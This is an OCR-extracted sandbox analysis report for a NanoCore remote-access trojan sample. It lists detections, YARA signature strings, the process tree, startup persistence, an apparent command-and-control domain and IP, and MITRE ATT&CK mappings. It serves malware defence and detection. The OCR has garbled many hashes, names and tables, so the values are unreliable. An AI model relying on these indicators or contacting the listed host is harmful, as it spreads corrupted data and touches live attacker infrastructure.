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Analysis Report d4e475d7d17al6be8b9eeac6el0b25af
Overview

General Information Detection Signatures Classification

Sample d4e475d7d17al6be8b9eea
Name: c6e10b25af (renamed file Antivirus / Scanner detection for sub...
t ion fi i .
extension from none to MALICIOUS Antivirus detection for dropped file
exe)
Detected Nanocore Rat

Analysis ID: 320928

MDS: 5162337b6fd4c88. Found malware configuration
SHAL: 126642db1117de.. Malicious sample detected (through ...
SHA256: 9c2e4ad4ale7hb4..

Multi AV Scanner detection for subm
Sigma detected: NanoCore

Tags:

Most interesting Screenshot:

Yara detected Nanocore RAT
Nanocore .NET source code contains potentia...
100

Allocates memory in foreign process...
Range: 0-100 Autolt script contains suspicious str...
Whitelisted:  false
) Binary:is likely a compiled Autolt sc...
Confidence:  100%

Score:

a
B

Contains functionality to inject code
Hides that the sample has been dow..

Startup

= System is w10x64
. d4e475d7d17al6be8b9eeac6elOb25af.exe (PID: 576 cmdline: 'C:\Users\user\Desktop\d4e475d7d17al6be8b9eeac6el0b25af.exe’ MD5:
5162337B6FD4C8806EF62F6EBF4A5DF8)
e [ RegAsm.exe (PID: 5656 cmdline: C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegAsm.exe MD5: 529695608EAFBEDOOACA9E61EF333A7C)
. DiagnosticsHub.StandardCollector.Service.exe.bat (PID: 5944 cmdline: 'C:\Users\user\hdwwiz\DiagnosticsHub.StandardCollector.Service.exe.bat' MD5:
F660ED54597E4FF5354B557329CAB70D)
e [ RegAsm.exe (PID: 4332 cmdline: C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegAsm.exe MD5: 529695608EAFBEDOOACA9E61EF333A7C)
e [ dhcpmon.exe (PID: 5860 cmdline: 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' MD5: 529695608EAFBEDOOACA9E61EF333A7C)
© conhost.exe (PID: 3688 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: NanoCore

"cz: " |
"255.255.255.255"
1,

"Version: ": "NanoCore Client, Version=1.2.2.0"

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000002.00000003.255242846.0000000000FA Nanocore_RAT_Gen_2 Detetcs the Florian Roth e 0xf34d:$x1: NanoCore.ClientPluginHost
4000.00000004.00000001.sdmp Nanocore RAT e 0xf38a:$x2: IClientNetworkHost

* 0x12ebd:$x3: #=0jgz7ljmpp0J7FvL9dmi8ctiLdgtcbw
8JYUc6GC8MeJIB11Crfg2DjxcfOp8PZGe
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Source

00000002.00000003.255242846.0000000000FA
4000.00000004.00000001.sdmp

00000002.00000003.255242846.0000000000FA
4000.00000004.00000001.sdmp

00000000.00000003.211542928.00000000038E
2000.00000040.00000001.sdmp

00000000.00000003.211542928.00000000038E
2000.00000040.00000001.sdmp

Unpacked PEs

Source

2.3.DiagnosticsHub.StandardCollector.Service.exe.b
at.e60000.0.unpack

2.3.DiagnosticsHub.StandardCollector.Service.exe.b
at.e60000.0.unpack

2.3.DiagnosticsHub.StandardCollector.Service.exe.b
at.e60000.0.unpack

2.3.DiagnosticsHub.StandardCollector.Service.exe.b
at.e60000.0.unpack

3.2.RegAsm.exe.400000.0.unpack

Sigma Overview

System Summary:

Copyright null 2020

Rule

JoeSecurity_Nanocore

NanoCore

Nanocore_RAT_Gen_2 Detetcs the

JoeSecurity_Nanocore

Description Author
Yara detected Joe Security
Nanocore RAT

unknown Kevin Breen

<kevin@techanarchy.net>

Florian Roth
Nanocore RAT

Yara detected
Nanocore RAT

Joe Security

Click to see the 77 entries

Rule
Nanocore_RAT_Gen_2

Nanocore_RAT_Feb18_:

JoeSecurity_Nanocore

NanoCore

Nanocore_RAT_Gen_2

Description Author

Detetcs the Florian Roth

Nanocore RAT

1 Detects Nanocore Florian Roth
RAT

Yara detected Joe Security
Nanocore RAT
unknown Kevin Breen

<kevin@techanarchy.net>

Detetcs the Florian Roth

Nanocore RAT

Click to see the 7 entries

® @ ¢ o © @ ¢ o © 0 ¢ o o © 0 0 0 0 o o o

°

.

Strings

0xfOb5:$a: NanoCore
0xf0c5:$a: NanoCore
0xf2f9:$a: NanoCore
0xf30d:$a: NanoCore
0xf34d:$a: NanoCore
0xf114:$b: ClientPlugin
0xf316:$b: ClientPlugin
0xf356:$b: ClientPlugin
0xf23b:$c: ProjectData
0xfc42:$d: DESCrypto
0x1760e:$e: KeepAlive
0x155fc:$g: LogClientMessage
0x117f7:$i: get_Connected
0xff78:$j: #=q

0xffa8:$j: #=q

Oxffcd:$j: #=q

Oxfff4:$j: #=q

0x10010:8j: #=q

0x1005¢:$j: #=q
0x10078:3$j: #=q

0xff8d:$x1: NanoCore.ClientPluginHost

Oxffca:$x2: IClientNetworkHost

e 0x13afd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctIILdgtcbw8
JYUc6GC8MeJ9B11Crfg2DjxcfOp8PZGe

Strings

® e © o o o o

© © © o6 o 06 o 0o o 0o © o 0o o 0 0 0 0 0 0 o

3

3

0x1018d:$x1: NanoCore.ClientPluginHost

0x101ca:$x2: IClientNetworkHost

0x13cfd:$x3: #=0jgz7ljmpp0J7FvLIdmi8ctIILdgtchw
8JYUc6GC8MeJIB11Crfg2DjxcfOp8PZGe

0xff05:$x1: NanoCore Client.exe

0x1018d:$x2: NanoCore.ClientPluginHost

0x117¢6:$s1: PluginCommand
0x117ba:$s2: FileCommand
0x1266b:$s3: PipeExists
0x18422:$s4: PipeCreated

0x101b7:$s5: IClientLoggingHost

Oxfef5:$a: NanoCore
0xff05:$a: NanoCore
0x10139:$a: NanoCore
0x1014d:$a: NanoCore
0x1018d:$a: NanoCore
0xff54:$b: ClientPlugin
0x10156:$b: ClientPlugin
0x10196:$b: ClientPlugin
0x1007b:$c: ProjectData
0x10a82:$d: DESCrypto
0x1844e:$e: KeepAlive
0x1643c:$g: LogClientMessage
0x12637:$i: get_Connected
0x10db8:$j: #=q
0x10de8:$j: #=q
0x10e04:$j: #=q
0x10e34:3j: #=q
0x10e50:$j: #=q
0x10e6c¢:$j: #=q
0x10e9c:$j: #=q
0x10eb8:3$j: #=q

0x1018d:$x1: NanoCore.ClientPluginHost

0x101ca:$x2: IClientNetworkHost

e 0x13cfd:$x3: #=0jgz7ljmpp0J7FvLIdmi8ctIILdgtchw
8JYUc6GC8MeJIB11Crfg2DjxcfOp8PZGe
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Sigma detected: NanoCore

Signature Overview

@ AV Detection

@ Spreading

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality

@

AV Detection:

Click to jump to signature section

Antivirus | Scanner detection for submitted sample
Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Nanocore RAT

]

Networking:

E-Banking Fraud:

=

Yara detected Nanocore RAT

-

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

L

=

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:
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Stealing of Sensitive Information:

Yara detected Nanocore RAT

Remote Access Functionality: | |

Detected Nanocore Rat

Yara detected Nanocore RAT

Mitre Att&ck Matrix

Privilege Credential Lateral Comm
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Cc
Valid Native Startup Startup Items Disable or Modify Input System Time Remote Archive Exfiltration Over Other  Ingress
Accounts API Items Tools Capture Discovery Services Collected Network Medium Transfe

Data

Default Scheduled DLL Side- Exploitation for Deobfuscate/Decode LSASS Account Discovery Remote Input Exfiltration Over Encryp
Accounts Task/Job  Loading Privilege Files or Memory Desktop Capture Bluetooth Channe
Escalation Information Protocol
Domain At (Linux) Application  DLL Side- Obfuscated Files or  Security File and Directory SMB/Windows Clipboard Automated Exfiltration Remote
Accounts Shimming §§ Loading Information Account Discovery Admin Shares Data Softwa
Manager
Local At Valid Application Software NTDS System Information Distributed Input Capture Scheduled Transfer Non-
Accounts (Windows) Accounts Shimming Packing Discovery ﬂ Component Applica
Object Model Layer
Protocc
Cloud Cron Registry Run Valid Accounts DLL Side-Loading LSA Secrets  Security Software SSH Keylogging Data Transfer Size Applica
Accounts Keys / Discovery Limits Layer
Startup Protocc
Folder
Replication Launchd ~ Rc.common Access Token Masquerading Cached Virtualization/Sandbox VNC GUI Input Exfiltration Over C2 Multiba
Through Manipulation Domain Evasion Capture Channel Commut
Removable Credentials
Media
External Scheduled  Startup Process Valid Accounts DCSync Process Discovery Windows Web Portal  Exfiltration Over Commc
Remote Task Items Injection Remote Capture Alternative Protocol Used P
Services Management
Drive-by Command Scheduled Registry Run Keys Virtualization/Sandbox Proc Application Window  Shared Credential Exfiltration Over Applica
Compromise  and Task/Job / Startup Folder Evasion Filesystem Discovery Webroot APl Hooking  Symmetric Encrypted Layer F
Scripting Non-C2 Protocol
Interpreter
Exploit Public- PowerShell At (Linux) At (Linux) Access Token letc/passwd  System Owner/User  Software Data Staged  Exfiltration Over Web Pi
Facing Manipulation and Discovery Deployment Asymmetric Encrypted
Application letc/shadow Tools Non-C2 Protocol
Supply Chain  AppleScript At At (Windows) Process Network Process Discovery Taint Shared  Local Data Exfiltration Over File Tre
Compromise (Windows) Injection Sniffing Content Staging Unencrypted/Obfuscated Protocc
Non-C2 Protocol
Compromise  Windows  Cron Cron Hidden Files and Input Capture Permission Groups Replication Remote Data Exfiltration Over Mail Pr
Software Command Directories Discovery Through Staging Physical Medium
Dependencies Shell Removable
and Media
Development
Tools

Behavior Graph

Copyright null 2020 Page 7 of 69



Behavior Graph

ID: 320928 _m

-
[1:]

«Q
[}
=
o

Sample:
sun::m ::Ie::;z::17al€heﬁbgeeac6e10bzsal 5.,:\::% l:‘ Process
e B soraure
l:‘ Created File
Il onsieinfo
» 5 .I'a Is Dropped
A |s Windows Process

Number of created Registry Values

. Number of created Files
o

== ~
d4e475d7d17a16be8beeac6el0b25af exe s . .
weom. Visual Basic

Ic) 111 Delphi

é, Java
=

dropped

.Net C# or VB.NET

DiagnosticsHub.Sta...tor. Service.exe.bat, PE32 @

Y
G C, C++ or other language

started

&) s malicious
C‘;"";:‘;;‘g:"‘mﬂf’ Wies to foreign memory Allocates memory in Binary s ikely a compiled Injects a PE file
remote processes regions. foreign processes “Autolt script file aforeign proces Internet

2./ x x

'
{4 RegAsmexe ¥-5

conhost.exe s

windowslivesoftice.ddns.net ()

192.190.19.5

127.00.1
unknown dropped dropped
COGENT-174US unknow

Canada 1@

Ci\Users\user\AppDatalRoaming\...\run.dat, data @ Ci\Program Files (x86)\...\dhcpmon.exe, PE32

Hides that the sample
has been downloaded
from the Interet (zone.identifier)

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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IIIXE

Excel 2016

F-l O Type here to search 4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
d4e475d7d17al6be8h9eeac6elOb25af.exe 67% Virustotal Browse
d4e475d7d17al6be8h9eeac6elOb25af.exe 41% Metadefender Browse
d4e475d7d17al6be8h9eeac6elOb25af.exe 71% ReversingLabs Win32.Trojan.Nymeria
d4e475d7d17al6be8h9eeac6elOb25af.exe 100% Avira HEUR/AGEN.1100084

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\hdwwiz\DiagnosticsHub.StandardCollector.Service.exe.bat 100% Avira HEUR/AGEN.1100084
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 0% Metadefender Browse
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 0% ReversingLabs

Unpacked PE Files

Source Detection Scanner Label Link Download

0.0.d4e475d7d17al6be8b9eeac6e10b25af.exe.8f0000.0.unpack 100% Avira HEUR/AGEN.1100084 Download File
2.0.DiagnosticsHub.StandardCollector.Service.exe.bat.3c0000.0.unpack 100% Avira HEUR/AGEN.1100084 Download File
3.2.RegAsm.exe.400000.0.unpack 100% Avira TR/Dropper.MSIL.Gen7 Download File
0.3.d4e475d7d17al6be8b9eeac6el0b25af.exe.38e0000.0.unpack 100% Avira TR/Dropper.MSIL.Gen7 Download File
2.3.DiagnosticsHub.StandardCollector.Service.exe.bat.e60000.0.unpack 100% Avira TR/Dropper.MSIL.Gen7 Download File
2.2.DiagnosticsHub.StandardCollector.Service.exe.bat.3c0000.0.unpack 100% Avira HEUR/AGEN.1100084 Download File
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https://www.virustotal.com/gui/file/9c2e4a4a0e7bb4c3c47ca33ec0d0c377fa38e0ae498721062432648ebf060a10/detection/f-9c2e4a4a0e7bb4c3c47ca33ec0d0c377fa38e0ae498721062432648ebf060a10-1605650160
https://www.metadefender.com/#!/results/file/bzIwMTExOThCV25CT0FveU1jdUtUMWJCcU1y/regular/analysis
https://www.metadefender.com/#!/results/file/YnpFNU1EVXdOM0pyV1hVeFJqbDVNMFVyMU16amQ1OHJy/regular/analysis

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name

windowslivesoffice.ddns.net

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain

192.190.19.55 unknown

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:
Analysis ID:
Copyright null 2020

Active Malicious Antivirus Detection

192.190.19.55 true true

Country Flag ASN ASN Name
Canada il 174 COGENT-174US

31.0.0 Red Diamond
320928

Reputation

unknown

Malicious

true
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Start date: 20.11.2020

Start time: 07:23:08
Joe Sandbox Product: CloudBasic
Overall analysis duration: 0Oh 8m 43s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: d4e475d7d17al6be8b9eeac6elOb25af (renamed file
extension from none to exe)
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211
Number of analysed new started processes analysed: 29
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad.WinEXE@8/7@8/2
EGA Information: Failed
HDC Information: Failed
HCA Information: Failed
Cookbook Comments: e Adjust boot time
e Enable AMSI
Warnings: Show All

e Behavior information exceeds normal sizes,
reducing to normal. Report will have missing
behavior information.

e Exclude process from analysis (whitelisted):
taskhostw.exe, MpCmdRun.exe,
BackgroundTransferHost.exe,
backgroundTaskHost.exe, SgrmBroker.exe,
conhost.exe, svchost.exe, UsoClient.exe

e Excluded IPs from analysis (whitelisted):
52.255.188.83, 51.104.139.180, 92.122.144.200,
20.54.26.129, 95.101.22.134, 95.101.22.125

e Excluded domains from analysis (whitelisted):
arc.msn.com.nsatc.net, fs.microsoft.com, db3p-ris-
pf-prod-atm.trafficmanager.net, ris-
prod.trafficmanager.net, e1723.g.akamaiedge.net,
fs-wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com,
ris.api.iris.microsoft.com,
umwatsonrouting.trafficmanager.net,
skypedataprdcoleus17.cloudapp.net,
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net

e Report size exceeded maximum capacity and may
have missing disassembly code.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

07:23:59 Autostart Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinSAT.Ink

07:24:01 API Interceptor 1025x Sleep call for process: RegAsm.exe modified

07:24:12 Autostart Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run DHCP Monitor C:\Program Files (x86)\DHCP Mon

itor\dhcpmon.exe
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Joe Sandbox View | Context

IPs

No context

Domains

Match

windowslivesoffice.ddns.net

ASN

Match
COGENT-174US

Copyright null 2020

SHA 256
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SHA 256
Get hash

3

Get hash
Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash

3

Get hash

Get hash
Get hash
Get hash

=

Get hash
Get hash

=

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Context

87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27
87.65.28.27

Context

154.59.122.79
154.59.122.74
38.97.80.199
38.97.80.199

38.108.185.64
38.97.80.199

38.108.185.79
74.221.216.140
74.221.216.140
38.97.80.199

38.97.80.199

38.97.80.199

154.47.36.75
38.105.93.109

185.142.23
6.163

154.44.177.60
154.44.177.60
154.59.122.79
23.237.25.182
154.59.122.79

Page 12 of 69


https://view.joesandbox.com/analysis/238444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238444/html/none?idtype=webid
https://view.joesandbox.com/analysis/237217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237217/html/none?idtype=webid
https://view.joesandbox.com/analysis/236443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236443/html/none?idtype=webid
https://view.joesandbox.com/analysis/236269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236269/html/none?idtype=webid
https://view.joesandbox.com/analysis/236133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236133/html/none?idtype=webid
https://view.joesandbox.com/analysis/236104/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236104/html/none?idtype=webid
https://view.joesandbox.com/analysis/236072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236072/html/none?idtype=webid
https://view.joesandbox.com/analysis/236055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236055/html/none?idtype=webid
https://view.joesandbox.com/analysis/235951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235951/html/none?idtype=webid
https://view.joesandbox.com/analysis/235942/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235942/html/none?idtype=webid
https://view.joesandbox.com/analysis/235843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235843/html/none?idtype=webid
https://view.joesandbox.com/analysis/235802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235802/html/none?idtype=webid
https://view.joesandbox.com/analysis/235789/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235789/html/none?idtype=webid
https://view.joesandbox.com/analysis/235760/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235760/html/none?idtype=webid
https://view.joesandbox.com/analysis/235751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235751/html/none?idtype=webid
https://view.joesandbox.com/analysis/235712/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235712/html/none?idtype=webid
https://view.joesandbox.com/analysis/235641/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235641/html/none?idtype=webid
https://view.joesandbox.com/analysis/235638/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235638/html/none?idtype=webid
https://view.joesandbox.com/analysis/235628/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235628/html/none?idtype=webid
https://view.joesandbox.com/analysis/235627/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235627/html/none?idtype=webid
https://view.joesandbox.com/analysis/236768/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236768/html/none?idtype=webid
https://view.joesandbox.com/analysis/236511/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236511/html/none?idtype=webid
https://view.joesandbox.com/analysis/236049/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236049/html/none?idtype=webid
https://view.joesandbox.com/analysis/235921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235921/html/none?idtype=webid
https://view.joesandbox.com/analysis/231553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231553/html/none?idtype=webid
https://view.joesandbox.com/analysis/231128/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231128/html/none?idtype=webid
https://view.joesandbox.com/analysis/229881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229881/html/none?idtype=webid
https://view.joesandbox.com/analysis/229216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229216/html/none?idtype=webid
https://view.joesandbox.com/analysis/229211/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229211/html/none?idtype=webid
https://view.joesandbox.com/analysis/227384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/227384/html/none?idtype=webid
https://view.joesandbox.com/analysis/227382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/227382/html/none?idtype=webid
https://view.joesandbox.com/analysis/227379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/227379/html/none?idtype=webid
https://view.joesandbox.com/analysis/222532/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/222532/html/none?idtype=webid
https://view.joesandbox.com/analysis/220123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/220123/html/none?idtype=webid
https://view.joesandbox.com/analysis/218997/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218997/html/none?idtype=webid
https://view.joesandbox.com/analysis/216943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216943/html/none?idtype=webid
https://view.joesandbox.com/analysis/216938/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216938/html/none?idtype=webid
https://view.joesandbox.com/analysis/216255/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216255/html/none?idtype=webid
https://view.joesandbox.com/analysis/214179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214179/html/none?idtype=webid
https://view.joesandbox.com/analysis/213829/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213829/html/none?idtype=webid

JA3 Fingerprints

No context

Dropped Files

Match Associated Sample Name /| URL SHA 256 Detection Link Context

C:\Program Files (x86)\DHCP _ Get hash malicious Browse

Monitor\dhcpmon.exe _ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse
_ Get hash malicious Browse

Created / dropped Files

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 0

Process: C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegAsm.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 53248

Entropy (8bit):  4.490095782293901

Encrypted: false

SSDEEP: 768:0P2Bbv+VazyoD2z9TU//1mz1+M9GnLEu+2wTFRJIS8UIg:HIv46yoD2BTNz1+M9GLFOWBUO

MD5: 529695608 EAFBEDOOACA9EGIEF333A7C

SHA1L: 68CA8B6D8E74FA4FAEEG03EB862E36F2A73BC1ES

SHA-256: 44F129DE312409D8A2DF55F655695E1D48D0DB6F20C5C7803EB0032D8E6B53D0

SHA-512: 8FE476E0185B2B0OC66F34E51899B932CB35600C753D36FE102BDA5894CDAAS58410044E0A30FDBEF76A285C2C75018D7C5A9BA0763D45EC605C2BBD1EBBIEDE

4
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

Antivirus: ReversingLabs, Detection: 0%

Joe Sandbox
View:

Reputation:

Copyright null 2020

Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:
Filename:

e5bd3238d220c97cd4d6969abb3b33e0.exe, Detection: malicious, Browse
1c2dec9cbfcd95afe13bf71910fdf95f.exe, Detection: malicious, Browse
Xfev0G2wIM.exe, Detection: malicious, Browse

jztWD1iKrC.exe, Detection: malicious, Browse

wH22vdkhhU.exe, Detection: malicious, Browse

AgpOn6nwXS.exe, Detection: malicious, Browse

CkIrD7MYX2.exe, Detection: malicious, Browse

FahZG6Pdc4.exe, Detection: malicious, Browse

61WICsQR9Q.exe, Detection: malicious, Browse

U7DigWP9qu.exe, Detection: malicious, Browse

d4x5rI09A7.exe, Detection: malicious, Browse

1WW425NrsA.exe, Detection: malicious, Browse

KydémztyQ5.exe, Detection: malicious, Browse

xdNg7FUNS2.exe, Detection: malicious, Browse

14muK1SuRQ.exe, Detection: malicious, Browse

9fPECeVI6R.exe, Detection: malicious, Browse

EkOjz981VJ.exe, Detection: malicious, Browse

2WSPzeEKDI.exe, Detection: malicious, Browse

wDbrNH1KqV.exe, Detection: malicious, Browse

btxgAmncf4.exe, Detection: malicious, Browse

moderate, very likely benign file
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https://view.joesandbox.com/analysis/238444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238444/html/none?idtype=webid
https://view.joesandbox.com/analysis/237217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237217/html/none?idtype=webid
https://view.joesandbox.com/analysis/236443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236443/html/none?idtype=webid
https://view.joesandbox.com/analysis/236269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236269/html/none?idtype=webid
https://view.joesandbox.com/analysis/236133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236133/html/none?idtype=webid
https://view.joesandbox.com/analysis/236104/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236104/html/none?idtype=webid
https://view.joesandbox.com/analysis/236072/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236072/html/none?idtype=webid
https://view.joesandbox.com/analysis/236055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236055/html/none?idtype=webid
https://view.joesandbox.com/analysis/235951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235951/html/none?idtype=webid
https://view.joesandbox.com/analysis/235942/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235942/html/none?idtype=webid
https://view.joesandbox.com/analysis/235843/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235843/html/none?idtype=webid
https://view.joesandbox.com/analysis/235802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235802/html/none?idtype=webid
https://view.joesandbox.com/analysis/235789/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235789/html/none?idtype=webid
https://view.joesandbox.com/analysis/235760/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235760/html/none?idtype=webid
https://view.joesandbox.com/analysis/235751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235751/html/none?idtype=webid
https://view.joesandbox.com/analysis/235712/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235712/html/none?idtype=webid
https://view.joesandbox.com/analysis/235641/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235641/html/none?idtype=webid
https://view.joesandbox.com/analysis/235638/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235638/html/none?idtype=webid
https://view.joesandbox.com/analysis/235628/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235628/html/none?idtype=webid
https://view.joesandbox.com/analysis/235627/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235627/html/none?idtype=webid
https://www.metadefender.com/#!/results/file/YnpFNU1EVXdOM0pyV1hVeFJqbDVNMFVyMU16amQ1OHJy/regular/analysis
https://view.joesandbox.com/analysis/238444/html/none
https://view.joesandbox.com/analysis/237217/html/none
https://view.joesandbox.com/analysis/236443/html/none
https://view.joesandbox.com/analysis/236269/html/none
https://view.joesandbox.com/analysis/236133/html/none
https://view.joesandbox.com/analysis/236104/html/none
https://view.joesandbox.com/analysis/236072/html/none
https://view.joesandbox.com/analysis/236055/html/none
https://view.joesandbox.com/analysis/235951/html/none
https://view.joesandbox.com/analysis/235942/html/none
https://view.joesandbox.com/analysis/235843/html/none
https://view.joesandbox.com/analysis/235802/html/none
https://view.joesandbox.com/analysis/235789/html/none
https://view.joesandbox.com/analysis/235760/html/none
https://view.joesandbox.com/analysis/235751/html/none
https://view.joesandbox.com/analysis/235712/html/none
https://view.joesandbox.com/analysis/235641/html/none
https://view.joesandbox.com/analysis/235638/html/none
https://view.joesandbox.com/analysis/235628/html/none
https://view.joesandbox.com/analysis/235627/html/none

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe v

Preview:

C:\Users\luser\AppData\Local\Microsoft\CLR_v2.0_32\UsagelLogs\RegAsm.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegAsm.exe

